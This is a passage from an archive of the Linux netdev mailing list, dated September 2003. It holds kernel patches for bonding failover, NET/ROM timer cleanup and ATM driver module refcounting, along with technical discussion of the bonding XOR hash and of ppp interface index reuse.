(IS_UP(dev) && (slave->delay < mindelay)) { - mindelay = slave->delay; - bestslave = slave; - } - } else if ( (IS_UP(bond->primary_slave->dev)) || - ( (!IS_UP(bond->primary_slave->dev)) && - (IS_UP(dev) && (slave->delay < mindelay)) ) ) { - mindelay = slave->delay; - bestslave = slave; } } break; @@ -2419,26 +2388,17 @@ static void bond_mii_monitor(struct net_ } /* end of while */ - /* - * if there's no active interface and we discovered that one - * of the slaves could be activated earlier, so we do it. - */ - read_lock(&bond->ptrlock); - oldcurrent = bond->current_slave; - read_unlock(&bond->ptrlock); + if (do_failover) { + write_lock(&bond->ptrlock); - /* no active interface at the moment or need to bring up the primary */ - if (oldcurrent == NULL) { /* no active interface at the moment */ - if (bestslave != NULL) { /* last chance to find one ? */ - write_lock(&bond->ptrlock); - change_active_interface(bond, bestslave); - write_unlock(&bond->ptrlock); - } else if (slave_died) { - /* print this message only once a slave has just died */ + reselect_active_interface(bond); + if (oldcurrent && !bond->current_slave) { printk(KERN_INFO "%s: now running without any active interface !\n", master->name); } + + write_unlock(&bond->ptrlock); } read_unlock(&bond->lock); @@ -2456,9 +2416,10 @@ static void bond_mii_monitor(struct net_ static void loadbalance_arp_monitor(struct net_device *master) { bonding_t *bond; - slave_t *slave; + slave_t *slave, *oldcurrent; int the_delta_in_ticks = arp_interval * HZ / 1000; int next_timer = jiffies + (arp_interval * HZ / 1000); + int do_failover = 0; bond = (struct bonding *) master->priv; if (master->priv == NULL) { @@ -2482,6 +2443,10 @@ static void loadbalance_arp_monitor(stru read_lock(&bond->lock); + read_lock(&bond->ptrlock); + oldcurrent = bond->current_slave; + read_unlock(&bond->ptrlock); + /* see if any of the previous devices are up now (i.e. they have * xmt and rcv traffic). the current_slave does not come into * the picture unless it is null. also, slave->jiffies is not needed @@ -2508,21 +2473,19 @@ static void loadbalance_arp_monitor(stru * current_slave being null after enslaving * is closed. */ - write_lock(&bond->ptrlock); - if (bond->current_slave == NULL) { + if (oldcurrent == NULL) { printk(KERN_INFO "%s: link status definitely up " "for interface %s, ", master->name, slave->dev->name); - reselect_active_interface(bond); + do_failover = 1; } else { printk(KERN_INFO "%s: interface %s is now up\n", master->name, slave->dev->name); } - write_unlock(&bond->ptrlock); } } else { /* slave->link == BOND_LINK_UP */ @@ -2545,11 +2508,9 @@ static void loadbalance_arp_monitor(stru master->name, slave->dev->name); - write_lock(&bond->ptrlock); - if (slave == bond->current_slave) { - reselect_active_interface(bond); + if (slave == oldcurrent) { + do_failover = 1; } - write_unlock(&bond->ptrlock); } } @@ -2563,6 +2524,19 @@ static void loadbalance_arp_monitor(stru if (IS_UP(slave->dev)) { arp_send_all(slave); } + } + + if (do_failover) { + write_lock(&bond->ptrlock); + + reselect_active_interface(bond); + if (oldcurrent && !bond->current_slave) { + printk(KERN_INFO + "%s: now running without any active interface !\n", + master->name); + } + + write_unlock(&bond->ptrlock); } read_unlock(&bond->lock); From vinay.nallamothu@gsecone.com Sun Sep 21 05:01:32 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 05:01:41 -0700 (PDT) Received: from gateway.gsecone.com ([61.95.227.64]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LC1TFx015639 for ; Sun, 21 Sep 2003 05:01:31 -0700 Received: from vinay.gsecone.com (vinay.gsecone.com [192.168.1.15]) by gateway.gsecone.com (8.12.8/8.12.8) with ESMTP id h8LC3efA028977; Sun, 21 Sep 2003 17:33:40 +0530 Subject: [PATCH 2.6.0-test5][NETROM] timer code cleanup From: Vinay K Nallamothu To: netdev@oss.sgi.com Cc: LKML Content-Type: text/plain Organization: Global Security One Message-Id: <1064145739.4349.28.camel@lima.royalchallenge.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Sun, 21 Sep 2003 17:32:19 +0530 Content-Transfer-Encoding: 7bit X-archive-position: 117 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: vinay.nallamothu@gsecone.com Precedence: bulk X-list: netdev Content-Length: 6574 Lines: 242 Compiles fine. Untested. 1. move timer initialization into nr_init_timers so that we can use mod_timer 2. remove skb queue purge in af_netrom as its already done by nr_clear_queues 3. Use del_timer_sync in nr_loopback_clear af_netrom.c | 18 +++------------- nr_loopback.c | 31 +++++++---------------------- nr_timer.c | 62 ++++++++++++++++++++++++++-------------------------------- 3 files changed, 40 insertions(+), 71 deletions(-) diff -urN linux-2.6.0-test5/net/netrom/af_netrom.c linux-2.6.0-test5-nvk/net/netrom/af_netrom.c --- linux-2.6.0-test5/net/netrom/af_netrom.c 2003-09-09 11:12:08.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/netrom/af_netrom.c 2003-09-21 16:36:12.000000000 +0530 @@ -62,6 +62,7 @@ static spinlock_t nr_list_lock = SPIN_LOCK_UNLOCKED; static struct proto_ops nr_proto_ops; +void nr_init_timers(struct sock *sk); static struct sock *nr_alloc_sock(void) { @@ -279,17 +280,12 @@ kfree_skb(skb); } - while ((skb = skb_dequeue(&sk->sk_write_queue)) != NULL) { - kfree_skb(skb); - } if (atomic_read(&sk->sk_wmem_alloc) || atomic_read(&sk->sk_rmem_alloc)) { /* Defer: outstanding buffers */ - init_timer(&sk->sk_timer); - sk->sk_timer.expires = jiffies + 2 * HZ; sk->sk_timer.function = nr_destroy_timer; - sk->sk_timer.data = (unsigned long)sk; + sk->sk_timer.expires = jiffies + 2 * HZ; add_timer(&sk->sk_timer); } else sock_put(sk); @@ -442,10 +438,7 @@ skb_queue_head_init(&nr->reseq_queue); skb_queue_head_init(&nr->frag_queue); - init_timer(&nr->t1timer); - init_timer(&nr->t2timer); - init_timer(&nr->t4timer); - init_timer(&nr->idletimer); + nr_init_timers(sk); nr->t1 = sysctl_netrom_transport_timeout; nr->t2 = sysctl_netrom_transport_acknowledge_delay; @@ -491,10 +484,7 @@ skb_queue_head_init(&nr->reseq_queue); skb_queue_head_init(&nr->frag_queue); - init_timer(&nr->t1timer); - init_timer(&nr->t2timer); - init_timer(&nr->t4timer); - init_timer(&nr->idletimer); + nr_init_timers(sk); onr = nr_sk(osk); diff -urN linux-2.6.0-test5/net/netrom/nr_loopback.c linux-2.6.0-test5-nvk/net/netrom/nr_loopback.c --- linux-2.6.0-test5/net/netrom/nr_loopback.c 2003-09-09 11:12:08.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/netrom/nr_loopback.c 2003-09-21 13:36:05.000000000 +0530 @@ -14,19 +14,17 @@ #include #include -static struct sk_buff_head loopback_queue; -static struct timer_list loopback_timer; +static void nr_loopback_timer(unsigned long); -static void nr_set_loopback_timer(void); +static struct sk_buff_head loopback_queue; +static struct timer_list loopback_timer = TIMER_INITIALIZER(nr_loopback_timer, 0, 0); -void nr_loopback_init(void) +void __init nr_loopback_init(void) { skb_queue_head_init(&loopback_queue); - - init_timer(&loopback_timer); } -static int nr_loopback_running(void) +static inline int nr_loopback_running(void) { return timer_pending(&loopback_timer); } @@ -42,26 +40,13 @@ skb_queue_tail(&loopback_queue, skbn); if (!nr_loopback_running()) - nr_set_loopback_timer(); + mod_timer(&loopback_timer, jiffies + 10); } kfree_skb(skb); return 1; } -static void nr_loopback_timer(unsigned long); - -static void nr_set_loopback_timer(void) -{ - del_timer(&loopback_timer); - - loopback_timer.data = 0; - loopback_timer.function = &nr_loopback_timer; - loopback_timer.expires = jiffies + 10; - - add_timer(&loopback_timer); -} - static void nr_loopback_timer(unsigned long param) { struct sk_buff *skb; @@ -80,12 +65,12 @@ dev_put(dev); if (!skb_queue_empty(&loopback_queue) && !nr_loopback_running()) - nr_set_loopback_timer(); + mod_timer(&loopback_timer, jiffies + 10); } } void __exit nr_loopback_clear(void) { - del_timer(&loopback_timer); + del_timer_sync(&loopback_timer); skb_queue_purge(&loopback_queue); } diff -urN linux-2.6.0-test5/net/netrom/nr_timer.c linux-2.6.0-test5-nvk/net/netrom/nr_timer.c --- linux-2.6.0-test5/net/netrom/nr_timer.c 2003-09-09 11:12:08.000000000 +0530 +++ linux-2.6.0-test5-nvk/net/netrom/nr_timer.c 2003-09-21 15:23:46.000000000 +0530 @@ -36,69 +36,63 @@ static void nr_t4timer_expiry(unsigned long); static void nr_idletimer_expiry(unsigned long); -void nr_start_t1timer(struct sock *sk) +void nr_init_timers(struct sock *sk) { nr_cb *nr = nr_sk(sk); - del_timer(&nr->t1timer); - + init_timer(&nr->t1timer); nr->t1timer.data = (unsigned long)sk; nr->t1timer.function = &nr_t1timer_expiry; - nr->t1timer.expires = jiffies + nr->t1; + + init_timer(&nr->t2timer); + nr->t2timer.data = (unsigned long)sk; + nr->t2timer.function = &nr_t2timer_expiry; + + init_timer(&nr->t4timer); + nr->t4timer.data = (unsigned long)sk; + nr->t4timer.function = &nr_t4timer_expiry; + + init_timer(&nr->idletimer); + nr->idletimer.data = (unsigned long)sk; + nr->idletimer.function = &nr_idletimer_expiry; - add_timer(&nr->t1timer); + /* initialized by sock_init_data */ + sk->sk_timer.data = (unsigned long)sk; + sk->sk_timer.function = &nr_heartbeat_expiry; } -void nr_start_t2timer(struct sock *sk) +void nr_start_t1timer(struct sock *sk) { nr_cb *nr = nr_sk(sk); - del_timer(&nr->t2timer); + mod_timer(&nr->t1timer, jiffies + nr->t1); +} - nr->t2timer.data = (unsigned long)sk; - nr->t2timer.function = &nr_t2timer_expiry; - nr->t2timer.expires = jiffies + nr->t2; +void nr_start_t2timer(struct sock *sk) +{ + nr_cb *nr = nr_sk(sk); - add_timer(&nr->t2timer); + mod_timer(&nr->t2timer, jiffies + nr->t2); } void nr_start_t4timer(struct sock *sk) { nr_cb *nr = nr_sk(sk); - del_timer(&nr->t4timer); - - nr->t4timer.data = (unsigned long)sk; - nr->t4timer.function = &nr_t4timer_expiry; - nr->t4timer.expires = jiffies + nr->t4; - - add_timer(&nr->t4timer); + mod_timer(&nr->t4timer, jiffies + nr->t4); } void nr_start_idletimer(struct sock *sk) { nr_cb *nr = nr_sk(sk); - del_timer(&nr->idletimer); - - if (nr->idle > 0) { - nr->idletimer.data = (unsigned long)sk; - nr->idletimer.function = &nr_idletimer_expiry; - nr->idletimer.expires = jiffies + nr->idle; - - add_timer(&nr->idletimer); - } + if (nr->idle > 0) + mod_timer(&nr->idletimer, jiffies + nr->idle); } void nr_start_heartbeat(struct sock *sk) { - del_timer(&sk->sk_timer); - - sk->sk_timer.data = (unsigned long)sk; - sk->sk_timer.function = &nr_heartbeat_expiry; - sk->sk_timer.expires = jiffies + 5 * HZ; - - add_timer(&sk->sk_timer); + mod_timer(&sk->sk_timer, jiffies + 5 * HZ); } void nr_stop_t1timer(struct sock *sk) From shmulik.hen@intel.com Sun Sep 21 06:38:07 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 06:38:14 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LDbkFx021983 for ; Sun, 21 Sep 2003 06:38:07 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8LDZKo27504 for ; Sun, 21 Sep 2003 13:35:20 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.hd.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8LDWKf12358 for ; Sun, 21 Sep 2003 13:32:20 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092106373717574 ; Sun, 21 Sep 2003 06:37:38 -0700 Content-Type: text/plain; charset="us-ascii" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: , Subject: Question about the hash used in XOR mode Date: Sun, 21 Sep 2003 16:37:37 +0300 User-Agent: KMail/1.4.3 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309211637.37136.shmulik.hen@intel.com> X-archive-position: 118 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Content-Length: 727 Lines: 23 In bond_xmit_xor(), we have the following: slave = bond->prev; . . . slave_no = (data->h_dest[5]^slave->dev->dev_addr[5]) % bond->slave_cnt; Which should give us a number between 0 and slave_cnt-1 which is constant per destination address, hence acts as a hash function. But, the fact is slave->dev->dev_addr[5] is the same the whole time, and is actually the same as bond->device->dev_addr[5]. Is there a special meaning for XORing with a constant ? Wouldn't it be the same is we did just: slave_no = data->h_dest[5] % bond->slave_cnt; -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | From hadi@cyberus.ca Sun Sep 21 06:57:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 06:57:49 -0700 (PDT) Received: from mail.cyberus.ca (mail.cyberus.ca [209.195.118.111]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LDvfFx023590 for ; Sun, 21 Sep 2003 06:57:42 -0700 Received: from cpe0030ab124d2f-cm014500000962.cpe.net.cable.rogers.com ([24.103.99.32] helo=[10.0.0.9]) by mail.cyberus.ca with esmtp (Exim 4.12) id 1A14iZ-000A69-00; Sun, 21 Sep 2003 09:57:39 -0400 Subject: ppp ifindex WAS(Re: ipt_physdev.c alignment problems on parisc64 From: jamal Reply-To: hadi@cyberus.ca To: Harald Welte Cc: "David S. Miller" , Bart De Schuymer , acme@conectiva.com.br, netfilter-devel@lists.netfilter.org, netdev@oss.sgi.com In-Reply-To: <20030920055002.GC8398@sunbeam.de.gnumonks.org> References: <20030912085606.GC2350@obroa-skai.de.gnumonks.org> <1063371268.1031.96.camel@jzny.localdomain> <20030920055002.GC8398@sunbeam.de.gnumonks.org> Content-Type: text/plain Organization: jamalopolis Message-Id: <1064152627.1030.128.camel@jzny.localdomain> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 Date: 21 Sep 2003 09:57:07 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 119 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: hadi@cyberus.ca Precedence: bulk X-list: netdev Content-Length: 1640 Lines: 35 On Sat, 2003-09-20 at 01:50, Harald Welte wrote: > > > > If ifindices change for the same device name then that would be a bug. > > The only time they should change is if a) you reboot or b) you unload a > > module after ifconfiged down the device(s) and then reload it later. > > In both cases if you have exactly the same setup, the chances of those > > ifindices changing are very slim. > > What about a ppp interface that is deleted because pppd terminated. > Then you start a new pppd that uses the same ppp interface [i.e. ppp12]. > Would ifindex still be guaranteed to be the same in that case? > maybe not in that case - but i am not sure if it is a feature or a bug; The reason is because pppd will create a brand new device everytime but may maintain the same name as you point out. I suppose this is legit. The whole point behind the ifindex is to do device management, billing, etc. Example if you were doing fault detection/failover and something goes wrong with ppp12, you can uniqueuly identify it is the same ppp12 that you are interested in if the ifindex is the same. Chances are no if you depend on the name as you do in iptables. Infact the new ppp12 maybe terminating at a new server. For this reason, maybe a good idea for ppp _not_ to reuse the same unit number but rather to monotomically increment so that next ppp device you get is ppp13. Yes, I know it will break a lot of scripts etc. Unless you dont care about the above scenario. OTOH, take eth* - in this case it is desirable to maintain the same ifindex even across reboots for consistency as above. Note, tc doesnt have these issues. cheers, jamal From chas@cmf.nrl.navy.mil Sun Sep 21 07:45:05 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:45:11 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEj5Fx027352 for ; Sun, 21 Sep 2003 07:45:05 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEj1kT023729; Sun, 21 Sep 2003 10:45:01 -0400 (EDT) Message-Id: <200309211445.h8LEj1kT023729@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [firestream] allow module refcounting Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:45:01 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 121 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1016 Lines: 28 please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1440 -> 1.1441 # drivers/atm/firestream.c 1.25 -> 1.26 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/11 chas@relax.cmf.nrl.navy.mil 1.1441 # [ATM]: [firestream] allow module refcounting # -------------------------------------------- # diff -Nru a/drivers/atm/firestream.c b/drivers/atm/firestream.c --- a/drivers/atm/firestream.c Sun Sep 21 09:36:39 2003 +++ b/drivers/atm/firestream.c Sun Sep 21 09:36:39 2003 @@ -1276,9 +1276,7 @@ .open = fs_open, .close = fs_close, .send = fs_send, -#if 0 .owner = THIS_MODULE, -#endif /* ioctl: fs_ioctl, */ /* getsockopt: fs_getsockopt, */ /* setsockopt: fs_setsockopt, */ From chas@cmf.nrl.navy.mil Sun Sep 21 07:44:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:44:56 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEifFx027285 for ; Sun, 21 Sep 2003 07:44:41 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEiakT023723; Sun, 21 Sep 2003 10:44:36 -0400 (EDT) Message-Id: <200309211444.h8LEiakT023723@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [eni] correct way to prevent module unload (from shemminger@osdl.org) Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:44:37 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 120 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1421 Lines: 53 please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1441 -> 1.1442 # drivers/atm/eni.c 1.25 -> 1.26 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/16 chas@relax.cmf.nrl.navy.mil 1.1442 # [ATM]: [eni] correct way to prevent module unload (from shemminger@osdl.org) # -------------------------------------------- # diff -Nru a/drivers/atm/eni.c b/drivers/atm/eni.c --- a/drivers/atm/eni.c Sun Sep 21 09:36:35 2003 +++ b/drivers/atm/eni.c Sun Sep 21 09:36:35 2003 @@ -2269,8 +2269,6 @@ DPRINTK("eni_init_one\n"); - MOD_INC_USE_COUNT; /* @@@ we don't support unloading yet */ - if (pci_enable_device(pci_dev)) { error = -EIO; goto out0; @@ -2304,7 +2302,6 @@ out1: kfree(eni_dev); out0: - MOD_DEC_USE_COUNT; /* @@@ we don't support unloading yet */ return error; } @@ -2348,16 +2345,7 @@ } -static void __exit eni_cleanup(void) -{ - /* - * Well, there's no way to get rid of the driver yet, so we don't - * have to clean up, right ? :-) - */ -} - - module_init(eni_init); -module_exit(eni_cleanup); +/* @@@ since exit routine not defined, this module can not be unloaded */ MODULE_LICENSE("GPL"); From chas@cmf.nrl.navy.mil Sun Sep 21 07:45:42 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:45:47 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEjfFx027528 for ; Sun, 21 Sep 2003 07:45:41 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEjbkT023734; Sun, 21 Sep 2003 10:45:37 -0400 (EDT) Message-Id: <200309211445.h8LEjbkT023734@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [idt77252] get rid of MOD_INC/MOD_DEC Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:45:38 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 122 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1237 Lines: 44 please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1438 -> 1.1439 # drivers/atm/idt77252.c 1.25 -> 1.26 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/09 chas@relax.cmf.nrl.navy.mil 1.1439 # [ATM]: [idt77252] get rid of MOD_INC/MOD_DEC # -------------------------------------------- # diff -Nru a/drivers/atm/idt77252.c b/drivers/atm/idt77252.c --- a/drivers/atm/idt77252.c Sun Sep 21 09:36:42 2003 +++ b/drivers/atm/idt77252.c Sun Sep 21 09:36:42 2003 @@ -149,7 +149,8 @@ .phy_put = idt77252_phy_put, .phy_get = idt77252_phy_get, .change_qos = idt77252_change_qos, - .proc_read = idt77252_proc_read + .proc_read = idt77252_proc_read, + .owner = THIS_MODULE }; static struct idt77252_dev *idt77252_chain = NULL; @@ -2542,7 +2543,6 @@ } set_bit(ATM_VF_READY, &vcc->flags); - MOD_INC_USE_COUNT; up(&card->mutex); return 0; @@ -2629,7 +2629,6 @@ free_scq(card, vc->scq); } - MOD_DEC_USE_COUNT; up(&card->mutex); } From chas@cmf.nrl.navy.mil Sun Sep 21 07:46:24 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:46:29 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEkNFx027846 for ; Sun, 21 Sep 2003 07:46:23 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEkJkT023754; Sun, 21 Sep 2003 10:46:19 -0400 (EDT) Message-Id: <200309211446.h8LEkJkT023754@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [lanai] get rid of MOD_INC/MOD_DEC (from shemminger@osdl.org) Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:46:19 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 123 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1459 Lines: 44 please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1436 -> 1.1437 # drivers/atm/lanai.c 1.27 -> 1.28 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/09 chas@relax.cmf.nrl.navy.mil 1.1437 # [ATM]: [lanai] get rid of MOD_INC/MOD_DEC (from shemminger@osdl.org) # -------------------------------------------- # diff -Nru a/drivers/atm/lanai.c b/drivers/atm/lanai.c --- a/drivers/atm/lanai.c Sun Sep 21 09:36:46 2003 +++ b/drivers/atm/lanai.c Sun Sep 21 09:36:46 2003 @@ -2242,7 +2242,6 @@ printk(KERN_ERR DEV_LABEL ": can't allocate interrupt\n"); goto error_vcctable; } - MOD_INC_USE_COUNT; /* At this point we can't fail */ mb(); /* Make sure that all that made it */ intr_enable(lanai, INT_ALL & ~(INT_PING | INT_WAKE)); /* 3.11: initialize loop mode (i.e. turn looping off) */ @@ -2312,7 +2311,6 @@ service_buffer_deallocate(lanai); iounmap((void *) lanai->base); kfree(lanai); - MOD_DEC_USE_COUNT; } /* close a vcc */ @@ -2686,7 +2684,8 @@ .phy_put = NULL, .phy_get = NULL, .change_qos = lanai_change_qos, - .proc_read = lanai_proc_read + .proc_read = lanai_proc_read, + .owner = THIS_MODULE }; /* initialize one probed card */ From chas@cmf.nrl.navy.mil Sun Sep 21 07:47:06 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:47:14 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEl5Fx028297 for ; Sun, 21 Sep 2003 07:47:06 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEl1kT023772; Sun, 21 Sep 2003 10:47:01 -0400 (EDT) Message-Id: <200309211447.h8LEl1kT023772@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH] [ATM]: [uPD98402] convert to new-style module Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:47:02 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 124 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 1120 Lines: 45 please apply to 2.6. --thanks # This is a BitKeeper generated patch for the following project: # Project Name: Linux kernel tree # This patch format is intended for GNU patch command version 2.5 or higher. # This patch includes the following deltas: # ChangeSet 1.1443 -> 1.1444 # drivers/atm/uPD98402.c 1.6 -> 1.7 # # The following is the BitKeeper ChangeSet Log # -------------------------------------------- # 03/09/21 chas@relax.cmf.nrl.navy.mil 1.1444 # uPD98402.c: # [ATM]: [uPD98402] convert to new-style module # -------------------------------------------- # diff -Nru a/drivers/atm/uPD98402.c b/drivers/atm/uPD98402.c --- a/drivers/atm/uPD98402.c Sun Sep 21 10:40:29 2003 +++ b/drivers/atm/uPD98402.c Sun Sep 21 10:40:29 2003 @@ -254,22 +254,13 @@ } -#ifdef MODULE MODULE_LICENSE("GPL"); EXPORT_SYMBOL(uPD98402_init); - -int init_module(void) +static __init int uPD98402_module_init(void) { - MOD_INC_USE_COUNT; return 0; } - - -void cleanup_module(void) -{ - /* Nay */ -} - -#endif +module_init(uPD98402_module_init); +/* module_exit not defined so not unloadable */ From chas@cmf.nrl.navy.mil Sun Sep 21 07:48:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Sun, 21 Sep 2003 07:48:38 -0700 (PDT) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8LEmXFx029059 for ; Sun, 21 Sep 2003 07:48:33 -0700 Received: from cmf.nrl.navy.mil (thirdoffive.cmf.nrl.navy.mil [134.207.10.180]) by ginger.cmf.nrl.navy.mil (8.12.7/8.12.7) with ESMTP id h8LEmTkT023785; Sun, 21 Sep 2003 10:48:29 -0400 (EDT) Message-Id: <200309211448.h8LEmTkT023785@ginger.cmf.nrl.navy.mil> To: davem@redhat.com cc: netdev@oss.sgi.com Subject: [PATCH][ATM]: [uPD98402] exported symbols should not be marked __init Reply-To: chas3@users.sourceforge.net Date: Sun, 21 Sep 2003 10:48:29 -0400 From: chas williams X-Spam-Score: () hits=0.5 X-Virus-Scanned: NAI Completed X-Scanned-By: MIMEDefang 2.30 (www . roaringpenguin . com / mimedefang) X-archive-position: 125 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: chas@cmf.nrl.navy.mil Precedence: bulk X-list: netdev Content-Length: 948 Lines: 28 please apply to 2.6. --thanks # This is a BitKeeper generated 